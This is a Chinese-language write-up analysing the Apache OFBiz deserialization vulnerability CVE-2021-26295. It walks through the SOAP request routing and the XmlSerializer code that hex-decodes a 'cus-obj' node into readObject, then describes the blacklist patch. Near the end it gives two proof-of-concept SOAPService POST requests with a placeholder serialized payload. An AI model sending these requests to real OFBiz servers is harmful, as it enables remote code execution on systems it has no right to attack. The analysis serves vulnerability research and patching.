Apache Ofbiz反序列化(CVE-2021-26295)分析
Web路由
<!-- framework\webtools\webapp\webtools\WEB-INF\web.xml --><servlet>
<description>Main Control Servlet</description>
<display-name>ControlServlet</display-name>
<servlet-name>ControlServlet</servlet-name>
<servlet-class>org.apache.ofbiz.webapp.control.ControlServlet</servlet-class>
<load-on-startup>1</load-on-startup></servlet><servlet-mapping>
<servlet-name>ControlServlet</servlet-name>
<url-pattern>/control/*</url-pattern></servlet-mapping>
根据以往的CVE-2020-9496漏洞分析可知,ControlServlet中调用了getRequestHandler,跟进getRequestHandler来到RequestHandler,关键代码如下
this.controllerConfigURL = ConfigXMLReader.getControllerConfigURL(context);
public static URL getControllerConfigURL(ServletContext context) {
try {
return context.getResource(controllerXmlFileName);
} catch (MalformedURLException e) {
Debug.logError(e, "Error Finding XML Config File: " + controllerXmlFileName, module);
return null;
}
}
其中controllerXmlFileName为/WEB-INF/controller.xml
在./framework/webtools/webapp/webtools/WEB-INF/controller.xml中看到soap类型的uri为SOAPService,SOAPService为本次漏洞的入口
知道controllerConfigURL后,回到RequestHandler,发现一个工厂类
this.eventFactory = new EventFactory(context, this.controllerConfigURL);
主要作用是实例化相关的EventHandler
然后ControlServlet又调用了RequestHandler.doRequest方法处理请求,部分代码如下:
try {
// the ServerHitBin call for the event is done inside the doRequest method
requestHandler.doRequest(request, response, null, userLogin, delegator);
}
详细的路由分析可参考CVE-2020-9496漏洞的分析文章
漏洞分析
本次漏洞入口SOAPService的EventHandler为SOAPEventHandler。不难发现SOAPEventHandler.invoke用来处理我们提交的soap消息,下面对其进行分析
org.apache.ofbiz.webapp.event.SOAPEventHandler调用了SoapSerializer.deserialize(第177行)
SOAPBody reqBody = reqEnv.getBody(); //获取参数
validateSOAPBody(reqBody); //验证参数
OMElement serviceElement = reqBody.getFirstElement();
serviceName = serviceElement.getLocalName(); //Envelope
Map<String, Object> parameters = UtilGenerics.cast(SoapSerializer.deserialize(serviceElement.toString(), delegator));
跟进SoapSerializer.deserialize发现调用了XmlSerializer.deserialize,跟进该方法获取soap请求Body子节点后又调用了deserializeSingle解析xml。在deserializeSingle中发现可以构造特殊的soap请求进入deserializeCustom()
部分代码如下
public static Object deserializeSingle(Element element, Delegator delegator) throws SerializeException {
String tagName = element.getLocalName();
if ("null".equals(tagName))
return null;
if (tagName.startsWith("std-")) {
if ("std-String".equals(tagName))
return element.getAttribute("value");
if ("std-Integer".equals(tagName)) {
String valStr = element.getAttribute("value");
return Integer.valueOf(valStr);
}
if ("std-Long".equals(tagName)) {
String valStr = element.getAttribute("value");
return Long.valueOf(valStr);
}
if ("std-Float".equals(tagName)) {
String valStr = element.getAttribute("value");
return Float.valueOf(valStr);
}
if ("std-Double".equals(tagName)) {
String valStr = element.getAttribute("value");
return Double.valueOf(valStr);
}
if ("std-BigDecimal".equals(tagName)) {
String valStr = element.getAttribute("value");
return new BigDecimal(valStr);
}
if ("std-Boolean".equals(tagName)) {
String valStr = element.getAttribute("value");
return Boolean.valueOf(valStr);
}
if ("std-Locale".equals(tagName)) {
String valStr = element.getAttribute("value");
return UtilMisc.parseLocale(valStr);
}
if ("std-Date".equals(tagName)) {
String valStr = element.getAttribute("value");
DateFormat formatter = getDateFormat();
Date value = null;
try {
synchronized (formatter) {
value = formatter.parse(valStr);
}
} catch (ParseException e) {
throw new SerializeException("Could not parse date String: " + valStr, e);
}
return value;
}
} else if (tagName.startsWith("sql-")) {
if ("sql-Timestamp".equals(tagName)) {
String valStr = element.getAttribute("value");
try {
Calendar cal = DatatypeConverter.parseDate(valStr);
return new Timestamp(cal.getTimeInMillis());
} catch (Exception e) {
Debug.logWarning("sql-Timestamp does not conform to XML Schema definition, try java.sql.Timestamp format", module);
return Timestamp.valueOf(valStr);
}
}
if ("sql-Date".equals(tagName)) {
String valStr = element.getAttribute("value");
return Date.valueOf(valStr);
}
if ("sql-Time".equals(tagName)) {
String valStr = element.getAttribute("value");
return Time.valueOf(valStr);
}
} else {
if (tagName.startsWith("col-")) {
Collection<Object> value = null;
if ("col-ArrayList".equals(tagName)) {
value = new ArrayList();
} else if ("col-LinkedList".equals(tagName)) {
value = new LinkedList();
} else if ("col-Stack".equals(tagName)) {
value = new Stack();
} else if ("col-Vector".equals(tagName)) {
value = new Vector();
} else if ("col-TreeSet".equals(tagName)) {
value = new TreeSet();
} else if ("col-HashSet".equals(tagName)) {
value = new HashSet();
} else if ("col-Collection".equals(tagName)) {
value = new LinkedList();
}
if (value == null)
return deserializeCustom(element);
Node curChild = element.getFirstChild();
while (curChild != null) {
if (curChild.getNodeType() == 1)
value.add(deserializeSingle((Element)curChild, delegator));
curChild = curChild.getNextSibling();
}
return value;
}
if (tagName.startsWith("map-")) {
Map<Object, Object> value = null;
if ("map-HashMap".equals(tagName)) {
value = new HashMap<>();
} else if ("map-Properties".equals(tagName)) {
value = new Properties();
} else if ("map-Hashtable".equals(tagName)) {
value = new Hashtable<>();
} else if ("map-WeakHashMap".equals(tagName)) {
value = new WeakHashMap<>();
} else if ("map-TreeMap".equals(tagName)) {
value = new TreeMap<>();
} else if ("map-Map".equals(tagName)) {
value = new HashMap<>();
}
if (value == null)
return deserializeCustom(element);
Node curChild = element.getFirstChild();
while (curChild != null) {
if (curChild.getNodeType() == 1) {
Element curElement = (Element)curChild;
if ("map-Entry".equals(curElement.getLocalName())) {
Element mapKeyElement = UtilXml.firstChildElement(curElement, "map-Key");
Element keyElement = null;
Node tempNode = mapKeyElement.getFirstChild();
while (tempNode != null) {
if (tempNode.getNodeType() == 1) {
keyElement = (Element)tempNode;
break;
}
tempNode = tempNode.getNextSibling();
}
if (keyElement == null)
throw new SerializeException("Could not find an element under the map-Key");
Element mapValueElement = UtilXml.firstChildElement(curElement, "map-Value");
Element valueElement = null;
tempNode = mapValueElement.getFirstChild();
while (tempNode != null) {
if (tempNode.getNodeType() == 1) {
valueElement = (Element)tempNode;
break;
}
tempNode = tempNode.getNextSibling();
}
if (valueElement == null)
throw new SerializeException("Could not find an element under the map-Value");
value.put(deserializeSingle(keyElement, delegator), deserializeSingle(valueElement, delegator));
}
}
curChild = curChild.getNextSibling();
}
return value;
}
if (tagName.startsWith("eepk-"))
return delegator.makePK(element);
if (tagName.startsWith("eeval-"))
return delegator.makeValue(element);
}
return deserializeCustom(element); //这里是反序列化相关操作
}
org.apache.ofbiz.entity.serialize.XmlSerializer中468行的deserializeCustom()方法
public static Object deserializeCustom(Element element) throws SerializeException {
String tagName = element.getLocalName();
if ("cus-obj".equals(tagName)) {
String value = UtilXml.elementValue(element);
if (value != null) {
byte[] valueBytes = StringUtil.fromHexString(value);
if (valueBytes != null) {
Object obj = UtilObject.getObject(valueBytes);
if (obj != null)
return obj;
}
}
throw new SerializeException("Problem deserializing object from byte array + " + element.getLocalName());
}
throw new SerializeException("Cannot deserialize element named " + element.getLocalName());
}
如果tag标签为cus-obj则获取标签内容,从16进制转为字符串,最后调用getObject方法。跟进getObject发现又调用了 getObjectException(),继续跟进漏洞就很明显了
public static Object getObjectException(byte[] bytes) throws ClassNotFoundException, IOException {
try(ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
SafeObjectInputStream wois = new SafeObjectInputStream(bis)) {
return wois.readObject();
}
}
构造POC
soap请求基本格式为
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header/>
<soapenv:Body>
</soapenv:Body></soapenv:Envelope>
- 解析xml的时候首先获取了Body的子节点,因此我们在Body下添加一个任意的节点。
- 从deserializeSingle进入反序列化可以直接构造节点不满足所有if条件,直接执行最后的deserializeCustom。
- deserializeCustom中将cus-obj节点的内容从16进制转为字符串,因此我们的payload要转成16进制。
PS:网上公开的方式都是满足从394行开始的if条件,即子节点下第一个子节点必须要map-开头并且为提供的那几个字符串,让value不为空,map-下的子节点必须为map-Entry,map-Entry下的子节点必须为map-Key和map-Value,然后可以执行到第453行再次进入deserializeSingle,这时候由于不满足所有if条件而调用deserializeCustom执行反序列化。这种方式感觉有些多余了。
因此可构造poc:
POST /webtools/control/SOAPService HTTP/1.1
Host: 192.168.247.131:8443
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Sec-Fetch-Dest: document
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=25A5A7DB751238C098AE02303C854435.jvm1; OFBiz.Visitor=10000
Content-Length: 767
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header/>
<soapenv:Body>
<test>
<cus-obj>[hex(payload)]</cus-obj>
</test>
</soapenv:Body></soapenv:Envelope>
网上公开的poc为:
POST /webtools/control/SOAPService HTTP/1.1
Host: 192.168.247.131:8443
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Sec-Fetch-Dest: document
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=25A5A7DB751238C098AE02303C854435.jvm1; OFBiz.Visitor=10000
Content-Length: 767
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header/>
<soapenv:Body>
<test>
<map-HashMap>
<map-Entry>
<map-Key> <cus-obj>[hex(payload)]</cus-obj>
</map-Key>
<map-Value>
<std-String value="testtest"/>
</map-Value>
</map-Entry>
</map-HashMap>
</test>
</soapenv:Body></soapenv:Envelope>
总结起来就是给SOAPService接口的请求消息中,构造特定的节点可执行反序列化
漏洞修复
官方修复补丁是在SafeObjectInputStream类的resolveClass方法中增加黑名单判断对象是否安全,resolveClass是在readObject中调用。
漏洞补丁:
https://github.com/apache/ofbiz-framework/commit/af9ed4e/